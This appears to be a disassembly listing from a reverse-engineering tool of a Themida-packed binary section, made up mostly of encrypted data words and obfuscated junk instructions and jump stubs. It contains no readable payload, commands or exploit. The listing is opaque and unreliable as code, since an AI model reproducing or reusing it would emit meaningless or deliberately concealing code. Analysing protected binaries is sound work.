dd 0EDF8F317h, 0D380B209h, 0AD313E17h, 0EF1F2C63h, 0A69B24h
dd 0E5D8F26Ch, 28D11E2Dh, 0B432E105h, 366B5749h, 0A34EA63h
dd 0DF2450Fh, 93E60E44h, 1E6BC877h, 4ACE5F4Bh, 48F00676h
dd 0FAD65D46h, 3F6C5C11h, 0B31FD24Ah, 637A1534h, 11E863h
dd 3DEB0000h, 0BE217022h, 0C3E95150h, 451C26E8h, 0FDE0BC0h
dd 28Ch, 58CF8B00h, 81DABF0Fh, 5AE0C0h, 2719BF00h, 0F781131Bh
dd 131B3180h, 0B1308BFCh, 64EE819Ch, 8174477Ah, 52A5E6DAh
dd 19C6810Ch, 0E84C46FCh, 7, 52260626h, 0F542239h, 84h
dd 0C6815900h, 74994BAFh, 0CFF38166h, 0BF0F56FCh, 66008FD6h
dd 24F5CB81h, 6603E883h, 4892A0BAh, 850F4FFCh, 0FFFFFFB1h
dd 8D8DD78Bh, 618F19Fh, 89F7BF0Fh, 131BBD8Dh, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
dd 2DE624A6h, 0DD85C7E9h, 8C061318h, 66000059h, 85C7D98Bh
dd 6133055h, 0
; ---------------------------------------------------------------------------
add [ebp+61306BDh], esi
push dword ptr [ebp+61320B9h]
jmp loc_5DB447
; ---------------------------------------------------------------------------
stc
leave
jbe short loc_5DB491
inc edi
xchg eax, ebp
loc_5DB447: ; CODE XREF: Themida_:005DB43Cj
call dword ptr [ebp+6131D89h]
jmp loc_5DB462
; ---------------------------------------------------------------------------
dw 7ABEh
dd 0AEDBA021h, 77F1C840h, 0F670412Fh
db 0FBh, 0A1h
; ---------------------------------------------------------------------------
loc_5DB462: ; CODE XREF: Themida_:005DB44Dj
push 0
call dword ptr [ebp+6130DA9h]
mov eax, eax
jmp short loc_5DB49D
; ---------------------------------------------------------------------------
dw 2D59h
dd 1ADF0E52h, 0C7587ADh, 629A0D65h, 69A6111Eh, 91AAD0C8h
dd 0DE5B9F44h, 32FF62D5h, 0AFF27224h
db 3
; ---------------------------------------------------------------------------
loc_5DB491: ; CODE XREF: Themida_:005DB443j
enter 0FFFFE2BAh, 0Dh
loope loc_5DB4FB
xor edi, [ebp+53h]
push ecx
stosb
; ---------------------------------------------------------------------------
db 18h
; ---------------------------------------------------------------------------
loc_5DB49D: ; CODE XREF: Themida_:005DB46Cj
call loc_5DB4A7
; ---------------------------------------------------------------------------
dw 0BA29h
db 49h, 60h, 8
; ---------------------------------------------------------------------------
loc_5DB4A7: ; CODE XREF: Themida_:loc_5DB49Dj
jnz loc_5DB4B6
jl loc_5DB4B6
movsx edx, cx
loc_5DB4B6: ; CODE XREF: Themida_:loc_5DB4A7j
; Themida_:005DB4ADj
pop ebx
add ebx, 6FDEh
mov dl, 0FCh
mov edi, 0
sbb edx, 2D186859h
loc_5DB4CA: ; CODE XREF: Themida_:005DB571j
mov ecx, [ebx+edi]
push edx
jno loc_5DB4D5
stc
loc_5DB4D5: ; CODE XREF: Themida_:005DB4CEj
pop esi
add ecx, 13FBB23Eh
push esi
jmp loc_5DB4EB
; ---------------------------------------------------------------------------
dw 0CFFBh
dd 1995FE47h
db 9Eh, 0ECh, 2Dh
; ---------------------------------------------------------------------------
loc_5DB4EB: ; CODE XREF: Themida_:005DB4DDj
pop esi
add ecx, 4990231h
call sub_5DB507
add bh, [ebx+2Fh]
inc ebp
loc_5DB4FB: ; CODE XREF: Themida_:005DB495j
xor [eax], esi
jg short near ptr loc_5DB521+1
in al, 0D7h
test [edx], esi
cmp byte ptr [edx+1Dh], 4Fh
; =============== S U B R O U T I N E =======================================
sub_5DB507 proc near ; CODE XREF: Themida_:005DB4F2p
and esi, [ebp+6130D05h]
pop eax
xor ecx, 8BCF7DBh
pusha
call near ptr loc_5DB521+3
sbb eax, edi
push 0A0239B6Bh
loc_5DB521: ; CODE XREF: Themida_:005DB4FDj
; sub_5DB507+Ep
or eax, 0B50369A7h
sub_5DB507 endp ; sp-analysis failed
mov ch, 0
adc eax, [esi]
pop eax
stc
popa
push ecx
mov [ebp+613221Dh], edx
pop dword ptr [ebx+edi]
mov dx, cx
sub [ebp+613211Dh], esi
sub edi, 1FA2C413h
movzx eax, di
add edi, 1FA2C40Fh
mov ax, cx
cmp edi, 0FFFF9104h
jnz loc_5DB56E
stc
jmp loc_5DB588
; ---------------------------------------------------------------------------
fdiv qword ptr [ebp+edx*8+30h]
adc ebx, ebp
fmul dword ptr [edx+4Eh]
pop esi
loc_5DB56E: ; CODE XREF: Themida_:005DB558j
movsx esi, cx
jmp loc_5DB4CA
; ---------------------------------------------------------------------------
cmp eax, 917793D4h
movzx edx, word ptr [ebp+40h]
sub [edx], edi
sbb eax, [edx+2EB42709h]
push esp
loc_5DB588: ; CODE XREF: Themida_:005DB55Fj
jmp loc_5DB66E
; ---------------------------------------------------------------------------
db 35h, 84h, 0D9h
dd 459CD706h, 0E1C8C3CAh, 0ACABDAB6h, 92B395A7h, 95A1F445h
dd 0ABDA00B3h, 5D20A7ECh, 0F46BB291h, 752096B1h, 0B79B5520h
dd 0A5BCF26Bh, 94A19692h, 99603A75h, 0BD329FB7h, 0B2E9B599h
dd 0F292A59Ch, 7695ACA3h, 97B1EFh, 0A5B4F94Eh, 6B5C009Fh
dd 924AF07Bh, 52D0008Ah, 53F545F3h, 0D979A3F6h, 0AFF144D6h
dd 41F445E3h, 0B000D77Dh, 6BBF9792h, 0CF60FD75h, 0BCF996BFh
dd 7D20B293h, 0F79B5720h, 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh
dd 9D728F89h, 0EEA9FD8Fh, 0B6F66DB4h, 7293BCE1h, 97B3EDh
dd 43F1B6D0h, 0F0A8CDh, 0
dd 129D7447h, 5E99E0E3h, 0Ah dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5DB66E: ; CODE XREF: Themida_:loc_5DB588j
jmp loc_5DCB86
; ---------------------------------------------------------------------------
push 618F5E6h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 618F6ECh
jmp loc_58442C
; ---------------------------------------------------------------------------
push 618F7FBh
jmp loc_58442C
; ---------------------------------------------------------------------------
push 618F95Ah
jmp loc_58442C
; ---------------------------------------------------------------------------
push 618F9BAh
jmp loc_58442C
; ---------------------------------------------------------------------------
push 618FA7Fh
jmp loc_58442C
; ---------------------------------------------------------------------------
push 618FB37h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 618FBE6h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 618FCADh
jmp loc_58442C
; ---------------------------------------------------------------------------
push 618FDB7h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 618FE9Eh
jmp loc_58442C
; ---------------------------------------------------------------------------
push 618FFE0h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61900C8h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61901EDh
jmp loc_58442C
; ---------------------------------------------------------------------------
push 6190378h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 6190529h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 6190624h
jmp loc_58442C
; ---------------------------------------------------------------------------
db 10h, 0C2h, 94h
dd 8CC21436h, 92B80C2Eh, 93BD0E34h, 94C00D33h, 0C3280736h
dd 0DA00DE76h, 0C8EAC88Ah, 0D3F5D573h, 0DFECCA82h, 0A9118D00h
dd 0C7DA16B6h, 51E0C29Bh, 4697B903h, 6E9FF543h, 109DB4F4h
dd 583958BDh, 4A0A577Bh, 4EDFE382h, 89E0E0FEh, 8C01DEFDh
dd 109DB512h, 737DF4DBh, 3FC59797h, 1449965Eh, 168F2DD9h
dd 0E3122362h, 0A8B2A63h, 2E3F0F9Fh, 0FB3992Ch, 0D5BD8CBCh
dd 0ED7BE3Bh, 335AE9D1h, 7E9FAEA6h, 0B70C4E1Fh, 2041C091h
dd 0AFDD6E98h, 5AAC93E1h, 6149h, 0BEA3ED00h, 0D48D3802h
dd 0DB0A470Ah, 109E0F7Fh, 0FFA4C548h, 36D1683Fh, 0EECDAC79h
dd 8F809E7Fh, 912E6F16h, 70E33FAEh, 8D140A8Bh, 5351874Bh
dd 21ABEA79h, 0A9D85C2h, 0E6EE2F3Eh, 8B7E27A7h, 7ED6630Ah
dd 0F55DEBEFh, 97349E64h, 123827AEh, 5EBF8EC0h, 5D7FFC96h
dd 5AAC239Fh, 0E647h, 6CBD1B00h, 0E06D51E0h, 1B2A1EB1h
dd 88CA9BFAh, 97B81735h, 9DB4EC66h, 0C3912010h, 18C71174h
dd 53E6A336h, 0D46668F9h, 5C7A1B7Ah, 7DBC547Bh, 9450E54h
dd 44C594B8h, 0FB578625h, 0C4109E3Ch, 74087741h, 0E1109E38h
dd 38138FFEh, 0B9DC109Eh, 0C08C1D2Fh, 4CA1BCE3h, 4B70DA6Eh
dd 0E3ED67DDh, 0CA82D3F5h, 0A4243D7Bh, 9DD9D531h, 1E7F9E10h
dd 0DF494CC1h, 0E322168Eh, 0E89EC3C3h, 35B79ACBh, 0D901075h
dd 173D8CAEh, 104491B7h, 0FA571D5Dh, 0C29F4E79h, 11F7h
dd 9F3F17A3h, 852529B9h, 993911A3h, 8A2828B7h, 9B3B19A8h
dd 0D76687A8h, 0ED7B5D7Dh, 0D0634565h, 0E5785A78h, 557A4767h
dd 0B6A9A620h, 83A6F16h, 0C7E470BDh, 0CC5FCE0h, 0B4088BFBh
dd 0EFEDF796h, 0C31178C9h, 0E9D1EE8Fh, 2869F85Ch, 0A318B2A0h
dd 0CCEBC8BEh, 0D7FB55E6h, 8DFCC484h, 168E988Ch, 0FA56E5CDh
dd 45A22A6Bh, 91C4E3C0h, 0A8A8935h, 0C68CDCFEh, 3FCE1DA7h
dd 0A8A88DFh, 0B081C91Bh, 0FD523F8Eh, 0FA9BFA4Bh, 0D16A686Bh
dd 3E36CA1Eh, 0B8D97DFDh, 3864D531h, 5AADA578h, 0A7A5381Ah
dd 569EB603h, 0A8CFh, 6CBD7300h, 0E06D51E0h, 2094E574h
dd 88109DB1h, 91B71735h, 0FF3D0C40h, 0C589D9EAh, 57741574h
dd 8EB52326h, 3999FC16h, 5A2E4FDh, 7500DED0h, 19B6D710h
dd 83F2A431h, 474FC07h, 0DC694DD0h, 98BA1978h, 0D7360745h
dd 0CCEECF0Dh, 0CA0CD47Ah, 60A4D97Bh, 7D79FA30h, 10F1F3EEh
dd 1DA90000h, 27B79939h, 0FA18727h, 26B59B3Bh, 17A68C2Ah
dd 81AE9D3Dh, 5777DD6Ch, 4F6FE371h, 5472D669h, 5171DB6Eh
dd 0BC164788h, 8516B6AAh, 70BD320Ch, 54E3C7E4h, 0C9E6F4FCh
dd 0CF3E50E1h, 109DB553h, 5098F91Ch, 1A1ABFEh, 4BE0C2A7h
dd 50E1F3FDh, 0D8696DFCh, 0E5735774h, 33BDDC6Dh, 99B10325h
dd 563386C8h, 0F5684701h, 109DB499h, 64422362h, 2940593Ah
dd 6E0F7E5Dh, 7F168EA5h, 0F1A70F58h, 8A2CD9B6h, 91721335h
dd 4489DFCh, 16AABFE1h, 62CE254Ah, 5F6CB6D7h, 6D4075B0h
dd 1F4E6D0Ch, 18F0FBA2h, 4DC93C1Bh, 160CECE5h, 29A5D8F7h
dd 0F20CECE5h, 799C4993h, 99CCEBE8h, 0CECE53Dh, 0DE6FE371h
dd 636DB0BFh, 57741257h, 0DAF8D926h, 0E8C74612h, 8FDE70C2h
dd 0BAD95A48h, 5031789Dh, 0D6674B88h, 7765976h, 6D6888Bh
dd 0A9A73154h, 3711A68Ch, 0FBDDE726h, 5E901C6Ah, 6F2E6778h
dd 17175B0Eh, 89207C5Bh, 0FE24Ch, 2C2AB800h, 341AAC8Eh
dd 2A20B496h, 3B15A68Ch, 2C28B59Bh, 7B909F8Eh, 624866EEh
dd 2280D2h, 1B3D9DABh, 172482CAh, 0AC49C538h, 0FF1216B6h
dd 0E06CBD63h, 90D2DCC3h, 3F30D03Ah, 0B80061F1h, 0B0D60B29h
dd 6DBE213h, 62C168Fh, 48C998B2h, 71E4E380h, 0A8B0415h
dd 1DEBFDEh, 77C68AD9h, 9090CE16h, 0B18E2D59h, 4035F8Eh
dd 49CC0A8Bh, 0EFD5007Fh, 4C6E107Bh, 0DA8751F7h, 0FB5BAABBh
dd 520477EEh, 0B39443B8h, 77EEC842h, 0C40C9104h, 9BD05C1Ch
dd 0CA1C3E50h, 0DDC81F84h, 8DAB3D3Ch, 45DC43h, 0A3820000h
dd 0CCEBC8BEh, 0B5207AEBh, 0A4E9109Dh, 0FBF8ED1Ch, 3921168Eh
dd 0CD1AA2A6h, 0F4476B48h, 89077654h, 0C10A8A65h, 0D8FFDC70h
dd 6B263BE6h, 6F6D771Fh, 352F649h, 0F02C6h, 0D8BEE900h
dd 86E92CE3h, 0A365EFF9h, 7AEBC8BEh, 1685488Eh, 0D4735C7Bh
dd 288530A1h, 68B22C5Dh, 1A7B0A85h, 0D4735C7Bh, 9CE30D6h
dd 0BB9FBC04h, 0A384222Ah, 47F55184h, 5FBE0A85h, 5860E87Bh
dd 0D869E376h, 0A20185DCh, 6CD99833h, 1BB8DD10h, 88C2163Ch
dd 0B4795B9h, 0DD70626Ah, 0D8694F6Fh, 0B8B864AEh, 8EEFE0E7h
dd 1E6881BFh, 95114CC1h, 3B5A0A5Ch, 0DDC8D646h, 815C0B73h
dd 0E83h, 2B8BCB17h, 3999B505h, 2585C517h, 3E9CB403h, 2787CD1Ch
dd 83D23BF4h, 81CFF1D1h, 7CCFF1D1h, 79CCEECCh, 0E9E6F3D3h
dd 0B6AE1A74h, 94AEE316h, 9DB51270h, 592D3410h, 46580B7Ah
dd 88D1685h, 163687ABh, 0D3F92B8h, 9DE9003Ch, 0B3C6CF3Eh
dd 66A71075h, 0F6E493F3h, 0D8F5B479h, 0E23h, 4B6BEB77h
dd 5979D565h, 4565E577h, 5E7CD463h, 4767ED7Ch, 23B2DB54h
dd 21AF9131h, 1CAF9131h, 19AC8E2Ch, 89C69333h, 0B6ADFA54h
dd 0F44EC316h, 14FE0C2h, 84495B7h, 0C2C41539h, 2B871D89h
dd 83D2B3D2h, 0E6775B7Ch, 2EB6D766h, 9AC067E4h, 63F14045h
dd 5222BA02h, 0FAA341A9h, 890h, 0FDDC260h, 279AF514h, 5D84B038h
dd 0D75B8A29h, 0F016857Bh, 0E90027E7h, 75E80E20h, 0A850419h
dd 0A3C2A3E2h, 0C18B1E04h, 4DDEC4E1h, 9D33203h, 0F9D676C7h
dd 0BC0B82D1h, 7CEBF594h, 85038D0Dh, 0CCBAAF0Ah, 0D37BCBEFh
dd 0E6EE5EEFh, 0F57D84F9h, 0ECCE1075h, 7CE9F359h, 27086419h
dd 561579F7h, 0D5E7Bh, 0A8AE3C00h, 0B896280Ah, 0A6A4381Ah
dd 0BF912208h, 0A8AC391Fh, 0F7141B0Ah, 0E6CCEA6Ah, 0FCDEFC56h
dd 0DFC1E167h, 13E0FE4Eh, 0AF3D99CCh, 930616B6h, 0E06CBDAFh
dd 20557251h, 109DB4A6h, 0B4A62E6Fh, 751A2B21h, 783864D5h
dd 0E0A341E6h, 7DCh, 0B5127076h, 6F53109Dh, 2E1EAFE2h
dd 3039854Fh, 0A2047956h, 3B168547h, 0ABDAFDDAh, 0A84C12Fh
dd 2CA6D7F8h, 0F50A84C1h, 0EAE7F190h, 0F7D775C8h, 310E80D1h
dd 84C162BCh, 7BEA2B0Ah, 0A84C11Fh, 75C4A5E8h, 43913237h
dd 0BEDF3E0Fh, 6D193E21h, 4A77AB86h, 272E5D67h, 8107638h
dd 6946D085h, 0E87F79F7h, 0CA6EDh, 0F066F400h, 0F05EF0D2h
dd 0EE5CF0D2h, 0F759EAD0h, 0F064F1D7h, 1F4CE3D2h, 0BEE4C292h
dd 0E4C6E46Eh, 0F7D9F94Fh, 0FBC8E666h, 0B025A1D4h, 0BBEE16B6h
dd 0E06CBD87h, 70DC6D51h, 0F4CF6C53h, 44C49E39h, 0AC26ED7Ch
dd 7E2FED0Fh, 2597A341h, 28000007h, 559FB102h, 0C8BEA38Bh
dd 484B7AEBh, 96BC1685h, 0DA3B0A44h, 5BEA68F8h, 567C5B3Ah
dd 435D8303h, 0BC5957B7h, 22432228h, 410B9E84h, 61EF4062h
dd 0B827B1D0h, 0BCCEB49Bh, 994A2D46h, 0BC52B04Fh, 0AF930A84h
dd 0E1203121h, 86DBD7h, 0AD4B32A3h, 0E92C1075h, 0F6DDEC74h
dd 7F5A1179h, 0BF7h, 9F3F17A3h, 852529B9h, 993911A3h, 8A2828B7h
dd 9B3B19A8h, 0D76687A8h, 0ED7B5D7Dh, 0D0634565h, 0E5785A78h
dd 557A4767h, 0B6AFA620h, 83A6F16h, 51E06CBDh, 8BFF5072h
dd 72CADD3Eh, 340564CDh, 0BA8BBD12h, 0A0B23A5Bh, 692E3F0Dh
dd 6C2C50E9h, 0EA34135h, 0A4626429h, 8BCC2134h, 71D5759Dh
dd 0D14890F1h, 65Ch, 1F6BC0E2h, 9EA474EEh
dd 0B9D83D10h, 1570A52Fh, 2F109DB5h, 1337893Ah, 5A2C342h
dd 854880D0h, 2E7DA516h, 0C84D9A22h, 0C7EBCCEBh, 2FABDA7Ah
dd 0F80A84C2h, 0B8094B95h, 0C1143694h, 637EBA8Bh, 0B180CE60h
dd 0B5923150h, 0C8103C8Dh, 75BCDC39h, 0ED60A510h, 79F6DA7Dh
dd 3002DF8Eh, 6A00000Bh, 765C7ADCh, 664C6AE4h, 785A78D2h
dd 674969E7h, 695C7ADAh, 3C18A5C6h, 262CBC9Eh, 3B0DA288h
dd 2824B59Bh, 6F9EC18Ah, 16B6B0F3h, 0BDF965BCh, 6D51E06Ch
dd 19E170DCh, 0D5681AAFh, 3DFB5777h, 0A5A341EAh, 120h
dd 0E06CBDB9h, 0B2DC6D51h, 9DB4C743h, 6C0D9010h, 6F17524Eh
dd 0A2E01D50h, 0EED9168Eh, 0EDB0625Ch, 0BB8D22A8h, 0C20A6BAAh
dd 2051E025h, 0A8AA8A2h, 74F5DAF9h, 43668CA9h, 0A9226C74h
dd 0AD6BB583h, 0E173575Ah, 2FB9D869h, 20E8h, 0BEA34E00h
dd 9B7AEBC8h, 6C168E98h, 69E91829h, 0C00A8A89h, 0C987B546h
dd 715AAD3Eh, 9Eh, 69DDC2C5h, 9D3EAF22h, 0ABFE5098h, 1FAE90A1h
dd 8F222435h, 0AD3C1EBDh, 8CCE1DA7h, 40B31339h, 109DCFBCh
dd 3B9BB104h, 3A0E6FBh, 88175ED2h, 9D3A5B16h, 0E16628B5h
dd 0A963270Ah, 85AD0A6Bh, 0C6471632h, 6BFAE0FEh, 1DC074E9h
dd 6EFD800Dh, 0A2673h, 70E67400h, 70DE7052h, 6EDC7052h
dd 77D96A50h, 70E47157h, 9FCC6352h, 3E644212h, 644664EEh
dd 775979CFh, 7B4866E6h, 0B1A52154h, 3B6E16B6h, 0E470BD07h
dd 72C1E9C6h, 0C60E8FDEh, 0AC0B4194h, 0BCC1183h, 0E2EADFF8h
dd 6CBD56F4h, 0AB008F1Dh, 2C6DFC9Dh, 87DAFC4Dh, 95CAE5C5h
dd 68000004h, 0DB0ABEA3h, 109DB57Fh, 1D2A22B3h, 0CC86D6F8h
dd 5E7D1C7Dh, 8EAD862Fh, 35A8A716h, 0A8A9AD9h, 330263A2h
dd 8A9B44C2h, 0DA6F9B0Ah, 0AD0CE2B2h, 1F14A5Ah, 70F00000h
dd 109DB517h, 0A0FA6B4Ch, 69109DB4h, 49A09C24h, 36F9E3Dh
dd 0AC168548h, 456D4A69h, 8B0A5BF7h, 8EBE0F41h, 95B70A30h
dd 8DC31436h, 0D4935DBCh, 0D6F591D8h, 3ED2CEF1h, 0EBF593D9h
dd 6D227FEEh, 0AAEB1076h, 0F78D0BB7h, 58753479h, 93Fh
dd 67470F5Bh, 7D5DF141h, 6141095Bh, 4260F03Fh, 2383D160h
dd 7FCE3FF0h, 85D3F5D5h, 78CBEDCDh, 7DD0F2D0h, 0FDE2EFCFh
dd 0B6B30E88h, 0A0C2D716h, 0C91A6CBDh, 0AF7A372Dh, 12340564h
dd 0C0B2C7BFh, 55088956h, 0E6FE371h, 40B9573Fh, 0AD0D3F92h
dd 41AE4715h, 3FE29A3h, 0C0EF19BCh, 3CB2E9F3h, 88000001h
dd 51E06CBDh, 5370DC6Dh, 0F3A3296Ch, 268DA14Dh, 1282867Eh
dd 2E2CB49Bh, 308FF7F2h, 0FB84DE0Fh, 0C84D109Dh, 68F953E6h
dd 43B29F29h, 168EE8E6h, 0EE1F2E6Fh, 0A8AE570h, 8EAE4BC7h
dd 5AACD6CEh, 4276h, 0E0C2CC00h, 2E6FFE4Ch, 374F9AA6h
dd 6C21B298h, 0A2E372D8h, 0FBDCF9C3h, 0B52DA9DCh, 97F6109Dh
dd 98DFBE4Dh, 6DB0168Eh, 8CDBFFDCh, 0CC1475C4h, 8A88DD3Dh
dd 61DA340Ah, 0AD3E7D3Bh, 0A2E55Ah, 0BD790000h, 6D51E06Ch
dd 0E6E574E0h, 0EC2175C4h, 109DB572h, 31BBDA3Bh, 0AFBE8E1Fh
dd 94321AABh, 9DE7EB61h, 0C6371810h, 109D624Ch, 0E6E8F015h
dd 50CA3B53h, 19109D62h, 0F93595F4h, 0C43996F0h, 1687C030h
dd 0E7CBE82Dh, 0F6DCFA5Ah, 0D078ED67h, 0E5800CF0h, 7FD0B46h
dd 119D0000h, 0F3436545h, 3557B5Bh, 0F2416747h, 0B5A805Eh
dd 0F53A6949h, 0AB0B4998h, 0BB1B3785h, 0A8064295h, 0BD1D2F82h
dd 0E03AABB4h, 0A916B6B3h, 0DDC2CE70h, 0FA6BDA9Dh, 109EAAA0h
dd 0D17F2469h, 8DBF09A0h, 94B61440h, 0DAB0B41h, 51E06CBDh
dd 5270DC6Dh, 27377h, 0DE725800h, 0C2FA646Ch, 3DB3D2DDh
dd 0B3D263EFh, 5C6F6E0Ch, 45412894h, 0D3614966h, 25AFEE7Fh
dd 8625D6E6h, 3687CB16h, 0A7C64716h, 9EE76796h, 0D43E0A85h
dd 471537h, 0E3EF5AA6h, 53000001h, 9DB51770h, 52342D10h
dd 47E80075h, 0A8ED1685h, 0B696270Bh, 0AFA33119h, 67757F9Eh
dd 7F5CF041h, 43DAD958h, 85A6B812h, 0B71C810Ah, 14DC64F2h
dd 2547655h, 3138844Ch, 4547655h, 2459864Eh, 107617A9h
dd 985E1372h, 0D979F737h, 7153712h, 39850000h, 4B9BBD1Dh
dd 2B7DA303h, 4A99BF1Fh, 3382A806h, 9D928121h, 5373E170h
dd 5373DF6Dh, 506EDA6Dh, 5575D76Ah, 0B812438Ch, 8116B6B4h
dd 6CBD3628h, 0DC6D51E0h, 0BE7A52AAh, 1C5106D3h, 109DFEC2h
dd 0A6B0A8Bh, 2002533Bh, 0BEC1FB8Fh, 6DE65D4Bh, 14DC3D0Ch
dd 7456017Ah, 6D5F69DFh, 0FA5270DCh, 0A3419C3Ah, 125A2h
dd 6CBDB800h, 0DC6D51E0h, 0B565270h, 0CC295C7Bh, 55168EA2h
dd 72D02130h, 0C90A8A9Fh, 0D0A0CC3Dh, 785AAD0Ch, 2Ah, 0C8BEA3DEh
dd 989B7AEBh, 296C168Eh, 8969E918h, 46C00A8Ah, 3EC987B5h
dd 0BB715AADh, 42000000h, 2ABACB60h, 99F84928h, 6CBD854Fh
dd 557251E0h, 9DB4A620h, 0C88ADA10h, 0CA4B1879h, 0C68F4EE5h
dd 0C20AC8C0h, 42134190h, 0CE9FAD00h, 3317A991h, 0BE8C2022h
dd 72C315DFh, 2389FCDAh, 2B109EA7h, 1414B29Ah, 0EB1AB9CDh
dd 16887155h, 0AE943352h, 0B996351Fh, 886CCA44h, 4D72930Ah
dd 5F2EA2E6h, 63717BA4h, 0F164F03Dh, 800DD62Bh, 0F0B49158h
dd 0AA000005h, 0B69C3A1Ch, 0A68C2A24h, 0B89A3812h, 0A7892927h
dd 0A99C3A1Ah, 7CD86586h, 66EC7C5Eh, 7BCD6248h, 68E4755Bh
dd 2F5E814Ah, 16B6B5B3h, 0C239257Ch, 0B0FD68DDh, 0D7E19FE9h
dd 0CFEC68F5h, 0E8F058EBh, 0D775C8EAh, 6CBD59F7h, 71C08C1Dh
dd 0C842B310h, 91109DB4h, 0FFDC6D0Ch, 34F2D4D8h, 4A92CB34h
dd 3797B508h, 5318h, 0DDC2B600h, 0C4390BEBh, 109DB64Ah
dd 24CDF213h, 0EF5FEFBDh, 0C114468Eh, 0B29DBA8Bh, 365778B9h
dd 0A9FEA077h, 0B203559Fh, 3A87CB9Ah, 0B8074B1Ah, 5993C998h
dd 80832FE0h, 0BC611E95h, 73088ADDh, 0DE6EBFh, 118D00DFh
dd 0DA109DF5h, 472631BBh, 8C000000h, 4EE0C2h, 94396B8h
dd 23A28DAAh, 5368E143h, 0B1B32F5Eh, 197C109Eh, 60E110CFh
dd 41109EB2h, 0B08F38D1h, 9EB1E13Dh, 616BAA10h, 516EDE6Fh
dd 86B0466h, 6771DC69h, 0D2664C69h, 0C7E15378h, 2703B73Bh
dd 6CBD439Dh, 0B557B322h, 0FD20109Dh, 72C387D9h, 0C5E37213h
dd 0EACDEA9Ch, 9DB51F7Bh, 76E7E810h, 109DB51Ch, 0F7C1A0E5h
dd 82D5FDDAh, 818FFEC6h, 6E168548h, 0C1A2FC71h, 2A6B0A84h
dd 0F3466C4Bh, 6577959h, 0F2D8F746h, 8CCBF062h, 1D4A782Ah
dd 0F5EC4890h, 8C33291h, 4D106C47h, 0F899B505h, 0E666F7DBh
dd 0FD4FE2C8h, 6D19506Ch, 0A2021F4Eh, 9CBB0A5Ch, 58A0ED69h
dd 8D57B6FEh, 0FEC8BDE0h, 1773DDD6h, 4657550h, 0A9350000h
dd 9B2B0DADh, 9B2D13B3h, 9A290FAFh, 0A33218B6h, 0D2211B1h
dd 0A30351E0h, 83232F7Dh, 0A03E0A9Dh, 852527BAh, 0E86293BCh
dd 0B116B6B7h, 6CBDC678h, 4DE0C2E0h, 0D96C6EFFh, 0AE1CE273h
dd 0B2D4651Dh, 96E38125h, 9DA07279h, 0C5CF5D42h, 4EC83Dh
dd 0F617109Eh, 7CD8F697h, 0A341A1BCh, 5E24h, 0DDC23A00h
dd 2C9CE174h, 0E6529AB3h, 32C8BFBh, 2009FD0Fh, 0D409A6AEh
dd 109E287Ah, 0DDFAC243h, 8F6EB5A8h, 69FCDE16h, 468CD9E3h
dd 8A0B5AF4h, 7AEBCCEBh, 0A8AD920h, 3F1CA4E9h, 0A5A73A20h
dd 696B7594h, 6D5572D6h, 6E6C74E0h, 8AD8A1FFh, 0C488D90Ah
dd 0D96FC4E6h, 3A54D88h, 0BDF10000h, 6D51E06Ch, 6C5370DCh
dd 2238D9D0h, 3220A865h, 3C9BEBF6h, 8F0B6CC9h, 3390F516h
dd 0EC401F0Ch, 45CDF258h, 9847911Eh, 8BB3E969h, 2F13400Ah
dd 7507AC9Ch, 92919741h, 0E455AF39h, 0ACD8F8B8h, 29B89A5Ah
dd 207AA12Bh, 0E0000000h, 0EBC8BEA3h, 8E989B7Ah, 18296C16h
dd 8A8969E9h, 0B546C00Ah, 0AD3EC987h, 0C5715Ah, 0BDC50000h
dd 0A58D1A6Ch, 0F464E27Bh, 0A087C495h, 7AFD6D0Bh, 6E60680Ch
dd 0E2E475DFh, 6F6CFD4Fh, 0C4C11D50h, 0B8A109Dh, 0E3E8FC1h
dd 0C0C73DB0h, 9E2F109Dh, 972A10AEh, 83A7A4B5h, 45035833h
dd 0ECF495F4h, 9B2A99D0h, 869A8B9h, 90EF3AABh, 7598168Eh
dd 76105955h, 0F78A2459h, 72931074h, 0B1E06D55h, 0FC1D2C20h
dd 0B9193E9Dh, 0A411572Eh, 59E862F6h, 418F5938h, 0CF82D25Fh
dd 79FAE825h, 0B446832Ah, 0E6000002h, 0FAE0FE58h, 0E2C8E668h
dd 0FCDEFC4Eh, 0E3C5E56Bh, 0EDE0FE56h, 0B89C2942h, 0AAA8381Ah
dd 0B791260Ch, 0ACA03117h, 0EB1A450Eh, 16B6BA6Fh, 0BD7DE138h
dd 0F39B1E70h, 220CC71h, 0CC5D4363h, 0A3882280h, 7AEBC8BEh
dd 168E989Bh, 0E918296Ch, 0A8A8969h, 2D3C18A5h, 66F59C29h
dd 0D4BA8BEAh, 9D0C536h, 10E00C7Dh, 0B85AAD3Eh, 0D8h, 0E06CBD9Eh
dd 74E06D51h, 0B12094E5h, 3588109Dh, 4091B717h, 0AA90AF0Ch
dd 0C9453416h, 92109DAFh, 0BEFA6973h, 0E3C4E3A3h, 0B03591C4h
dd 0DCFE109Dh, 1574C58Bh, 0D01D6C74h, 79168E80h, 6598B714h
dd 0A8A7EE9h, 4B8953B2h, 5370164Bh, 74DC2722h, 0EADF010h
dd 0A5B49A2Ch, 0BC164764h, 850474D7h, 0B79BB800h, 0A28D2A2Ah
dd 0AF09680Bh, 70DE7092h, 0F7C1A0E1h, 0AADBFCD9h, 475AF30h
dd 0A4C94F9h, 0F6E499BBh, 2779FAE4h, 1B94580h, 55E10000h
dd 2F7FA101h, 4799BF1Fh, 2E7DA303h, 0F9E8422h, 0F9366545h
dd 0AF0F4594h, 0B7173B89h, 0AC0A3E91h, 0B9193386h, 0E43EAFB0h
dd 0AD16B6BAh, 70BDCA74h, 51E4C6E4h, 6E5F9635h, 0E775E09Eh
dd 4B6B0A6Bh, 56F4486Ah, 0A43E8607h, 51E06CBDh, 1FADDC6Dh
dd 82E32233h, 0A1ABFE24h, 764D9490h, 0AD0A6BE5h, 3513A88Ah
dd 0ACDBE524h, 168EA359h, 96F06542h, 5F0A8A9Eh, 0D439B63Eh
